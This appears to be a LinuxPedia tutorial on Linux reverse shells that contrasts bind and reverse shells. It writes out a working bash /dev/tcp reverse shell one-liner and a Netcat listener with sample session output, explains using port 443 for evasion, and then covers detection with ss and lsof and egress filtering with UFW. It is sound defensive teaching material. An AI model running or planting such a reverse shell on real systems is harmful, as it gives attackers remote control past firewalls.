⚠️ DISCLAIMER: FOR EDUCATIONAL PURPOSES ONLY
All information, commands, and security demonstrations published on LinuxPedia are provided strictly for educational purposes, defensive hardening, and authorized security research. Never attempt unauthorized penetration testing or reverse shell execution against systems you do not own.

Most system administrators follow a standard formula when securing a new server: close unused ports, configure UFW or iptables to reject incoming traffic, and disable root passwords.

When you run sudo ufw status and see that all unsolicited incoming ports are blocked, it feels safe. But in modern ethical hacking and cyber warfare, seasoned attackers do not try to break through your inbound firewall.

Instead, they use a counter-intuitive technique that bypasses traditional firewall rules entirely: the reverse shell.

1. The Firewall Illusion: Inbound vs. Outbound

Firewalls inspect network traffic passing through network interfaces. In standard configurations, Linux firewalls apply two fundamental default policies:

This outbound allowance is necessary so your server can update packages via apt, synchronize clocks over NTP, and download web resources over HTTP and HTTPS (ports 80 and 443).

Attackers exploit this exact asymmetry. Rather than asking your server to accept an incoming remote desktop or SSH session, they trick your server into reaching out to their machine.

2. Bind Shell vs. Reverse Shell

Understanding network exploitation requires knowing the distinction between a bind shell and a reverse shell:

The Bind Shell (Blocked by Firewalls)

In a bind shell, a malicious script opens a listening port on the target machine (for example, port 4444) and attaches a bash shell to it. The attacker then connects to the victim on port 4444.

Because this requires an incoming connection, any modern firewall or NAT router immediately stops it. Bind shells rarely work on modern networks.

The Reverse Shell (Bypasses Inbound Firewalls)

In a reverse shell, the roles are swapped:

  1. The attacker runs a listener on their own public server (for example, on port 443).
  2. The victim machine executes a small command that connects out to the attacker's IP and port.
  3. The victim's local command prompt (bash or sh) is redirected over that established outbound connection.

Because the connection starts inside your network and travels outward, your firewall treats it as standard web traffic and lets it through without question.

3. The Anatomy of a 1-Line Bash Reverse Shell

Linux possesses a built-in virtual device driver for network sockets located at /dev/tcp/. This feature allows bash to establish TCP connections without installing third-party tools like Netcat or Ncat.

Here is the standard one-line reverse shell command:

bash - executed on target victim 
$ bash -i >& /dev/tcp/10.10.14.5/443 0>&1

Let us deconstruct every segment of this command:

4. Why Attackers Target Port 443

An attacker can theoretically direct a reverse shell to any port number (such as 1337 or 9001). However, enterprise networks and security monitoring tools often flag traffic on unusual ports.

By directing the reverse connection to TCP port 443 (the standard HTTPS port) or TCP port 80 (HTTP), the outbound traffic looks identical to an administrator browsing a secure website or an automated script querying a web API.

5. The Attacker's Screen: Netcat in Action

Before the victim machine executes the reverse connection, the attacker sets up a listener on their system using Netcat:

bash - attacker terminal listener 
$ nc -lvnp 443
listening on [any] 443 ...

Parameters explained:

The instant the victim machine runs the reverse shell payload, the attacker's terminal changes:

bash - shell connection established 
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.50] 52418
$ whoami
student
$ hostname
prod-app-server
$ uname -a
Linux prod-app-server 6.8.0-40-generic #40-Ubuntu SMP x86_64

The attacker now has an active, remote command prompt running on the internal server, completely bypassing the victim's inbound perimeter firewall.

6. How Sysadmins Detect Active Reverse Shells

Because reverse shells maintain a continuous TCP connection, they cannot remain completely invisible. Security analysts and sysadmins use specific socket inspection commands to catch them.

Check Active Established Connections

Run ss or netstat to display all active established TCP sockets:

bash - socket inspection 
$ sudo ss -tulpn | grep ESTAB
tcp  ESTAB  0  0  192.168.1.50:52418  10.10.14.5:443  users:(("bash",pid=4921,fd=0))

Notice what this reveals:

A legitimate web browser or curl command does not have bash listed as the owner of an outbound socket on port 443. This is proof of an active reverse shell.

Trace the Process with lsof

To see exactly what files and network sockets a suspicious process is touching, use lsof:

bash - tracking process file descriptors 
$ sudo lsof -p 4921
COMMAND  PID    USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
bash    4921 student    0u  IPv4  68421      0t0  TCP 192.168.1.50:52418->10.10.14.5:https (ESTABLISHED)
bash    4921 student    1u  IPv4  68421      0t0  TCP 192.168.1.50:52418->10.10.14.5:https (ESTABLISHED)
bash    4921 student    2u  IPv4  68421      0t0  TCP 192.168.1.50:52418->10.10.14.5:https (ESTABLISHED)

Descriptors 0 (stdin), 1 (stdout), and 2 (stderr) are all tied directly to the outbound TCP socket.

7. How to Defend: Implementing Egress Filtering

The most effective way to eliminate reverse shells is egress filtering: restricting what traffic is permitted to leave your server.

Step 1: Set UFW Outbound Default to Deny

By default, UFW allows all outbound traffic. On hardened database servers and internal infrastructure, flip this policy:

bash - restricting egress traffic 
$ sudo ufw default deny outgoing
$ sudo ufw default deny incoming

Step 2: Whitelist Only Authorized Outbound Services

Allow outbound traffic only to specific essential services, such as DNS resolution and package repositories:

bash - whitelisting necessary outbound traffic 
# Allow DNS queries (UDP port 53)
$ sudo ufw allow out 53/udp

# Allow APT package updates over HTTPS
$ sudo ufw allow out to 185.125.190.0/24 port 443 proto tcp

# Reload firewall
$ sudo ufw reload

When an unconstrained outbound policy is revoked, an attacker's reverse shell fails to connect, leaving them locked out even if they achieve code execution.

Disclaimer: For Educational Purposes Only

This guide is published strictly for educational and defensive cybersecurity training. The goal is to help system administrators, security analysts, and DevOps engineers understand how egress vulnerabilities are abused and configure effective network monitoring. LinuxPedia does not condone unauthorized computer access.

Related Linux & Cybersecurity Guides